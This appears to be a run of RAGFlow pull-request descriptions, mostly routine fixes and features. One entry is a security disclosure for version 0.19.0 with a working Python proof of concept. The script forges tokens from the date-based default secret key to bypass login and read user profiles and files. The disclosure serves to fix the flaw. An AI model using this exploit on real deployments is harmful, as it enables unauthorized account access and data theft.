### What problem does this PR solve?
Feat: Solved the problem that BeginForm would get stuck when modifying
data #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
now Streamning logic is not match with none streaming logic, which may
introduce down stream can not find upstream components.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh @asiroliu @cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
### What problem does this PR solve?
Feat: Create empty agent #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
- Removed hardcoded Zhipu API key from codebase
- New requirement: Tests now require ZHIPU_AI_API_KEY environment
variable
Example: export ZHIPU_AI_API_KEY=your_api_key_here
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
The Unicode codepoint '，' (U+FF0C) is meant to be used in Chinese text,
but this is English text. It looks like a comma followed by a space, but
isn't. Of course I didn't change actual Chinese text.
### What problem does this PR solve?
Mixup of Unicode characters. This is probably unnoticed by most users,
but I wonder if screen readers would read it out differently or if LLMs
would trip up on it.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
- [ ] New Feature (non-breaking change which adds functionality)
- [x] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):
### What problem does this PR solve?
Feat: Add RunSheet component #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
This PR updates the completion function to allow parameter updates when
a session_id exists. It also ensures changes are saved back to the
database via API4ConversationService.
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
Fix parser_config=None handling in create_dataset
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
## Summary
Fixed grammar errors and improved clarity in prompt templates throughout
`rag/prompts.py`.
## Changes Made
- **Fixed incomplete sentence**: `"If the user's latest question is
completely, don't do anything"` → `"If the user's latest question is
already complete, don't do anything"`
- **Improved phrasing**: `"of like [ID:i]"` → `"such as [ID:i]"`
- **Added missing articles**: `"give top 3"` → `"give the top 3"`
- **Fixed prepositions**: `"in language of"` → `"in the same language
as"`
- **Corrected spelling**: `"Jappanese"` → `"Japanese"`
- **Standardized formatting**: Consistent role descriptions and
punctuation
## Impact
These changes improve prompt readability and should make instructions
clearer for the underlying language models.
## Test Plan
- [x] Verified changes maintain original prompt functionality
- [x] No breaking changes to prompt structure or expected outputs
Co-authored-by: Adrian Altermatt <adrian.altermatt@fgcz.uzh.ch>
### What problem does this PR solve?
Feat: Add DynamicPrompt component #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
Feat: Add AgentNode component #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/8006
The category should work well, but the category's downstream seems to be
unable to get the upstream output.
Add the category's output as an attribute.
However, in base.py, there is logic
` if self.component_name.lower().find("switch") < 0 and
self.get_component_name(u) in ["relevant", "categorize"]:
continue`
If goto this cases will not tried to get output from Category (but I do
not have full context about this if logic).
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Feat: Construct RetrievalForm with original fields #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
sync test group from sdk/python/pyproject.toml to top pyproject.toml
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
Update the synonym dictionary file with relevant time and date to
prevent synonyms from being mistakenly escaped.
### Type of change
- [x] Refactoring
### What problem does this PR solve?
Feat: Add the example component of the classification operator #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
Feat: Use one-way data flow to synchronize the form data to the canvas
#3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
Fix unnecessary truncation in markdown parser. So that markdown can work
perfectly like
[this](https://github.com/infiniflow/ragflow/issues/7824#issuecomment-2921312576)
in #7824, supporting multiple special delimiters.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Change filename length limit from 128 to 256
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
Signed-off-by: Jin Hai <haijin.chn@gmail.com>
**Fix: Prevent Flask hot reload from hanging due to early thread
startup**
### What problem does this PR solve?
When running the Flask server with `use_reloader=True` (enabled during
debug mode), modifying a Python source file would trigger a reload
detection (`Detected change in ...`), but the application would hang
instead of restarting cleanly.
This was caused by the `update_progress` background thread being started
**too early**, often within the main module scope.
This issue was reported in
[#7498](https://github.com/infiniflow/ragflow/issues/7498).
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
---
**Summary of changes:**
- Wrapped `update_progress` launch in a `threading.Timer` with delay to
avoid premature thread execution.
- Marked thread as `daemon=True` to avoid blocking process exit.
- Added `WERKZEUG_RUN_MAIN` environment check to ensure background
threads only run in the reloader child process (the actual Flask app).
- Retained original behavior in production mode (`debug=False`).
---------
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
If the name field is not specified, Docker Compose will default to using
`docker` as the project name. This may cause conflicts with other
default projects, leading to unintended operations when executing
`docker compose` commands.
### What problem does this PR solve?
When executing Docker Compose commands, interference occurs between
multiple default projects, leading to operational chaos.
### Type of change
- [x] Other (please describe):
### What problem does this PR solve?
When performing the dify_retrieval, the metadata of the document was
empty.
### Type of change
- [ ] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
When deleting knowledge base documents in RAGFlow, the current process
only removes the block texts in Elasticsearch and the original files in
MinIO, but it leaves behind many binary images and thumbnails generated
during chunking. This pull request improves the deletion process by
querying the block information in Elasticsearch to ensure a more
thorough and complete cleanup.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Feat: Install why-did-you-render to detect component updates #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/7753
The internal is due to when the selected row keys change will trigger a
testing, but I do not know why.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Feat: Add InnerBlurInput component to avoid frequent updates of zustand
causing the input box to lose focus #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
Fix code component debug issue. #7908.
I delete the additions in #7933, there is no semantic meaning `output`
for `parameters`.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Add advanced delimiter detection for naive merge. #7824
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
- [x] New Feature (non-breaking change which adds functionality)
### What problem does this PR solve?
it would be fail if PARALLEL_DEVICES = None in OCR class , because it
pass 0 to TextDetector and TextRecognizer init method.
and It would be simpler to set 0 as the default value for
PARALLEL_DEVICES.
### Type of change
- [x] Refactoring
### What problem does this PR solve?
https://github.com/infiniflow/ragflow/issues/7908
For the code
` _, out = cpn.output(allow_partial=False)`
` def output(self, allow_partial=True) -> Tuple[str, Union[pd.DataFrame,
partial]]:
o = getattr(self._param, self._param.output_var_name)`
need to call this method
But I do not have a full context.
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
### What problem does this PR solve?
Feat: Use memo to wrap canvas nodes to improve fluency #3221
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Truncate long agent descriptions to prevent overflow outside the agent
card container
### What problem does this PR solve?
Now the Long text of description will overflow from the agent card,
should display the long text properly with truncate.
<img width="275" alt="Screenshot 2025-05-28 220329"
src="https://github.com/user-attachments/assets/954b3a48-bcab-4669-a42f-6981d4bf859f"
/>
<img width="275" alt="Screenshot 2025-05-28 220353"
src="https://github.com/user-attachments/assets/f385d95a-3e40-4117-b412-ae6a4508e646"
/>
### Type of change
- [x] Bug Fix (non-breaking change which fixes an issue)
- [ ] New Feature (non-breaking change which adds functionality)
- [ ] Documentation Update
- [ ] Refactoring
- [ ] Performance Improvement
- [ ] Other (please describe):
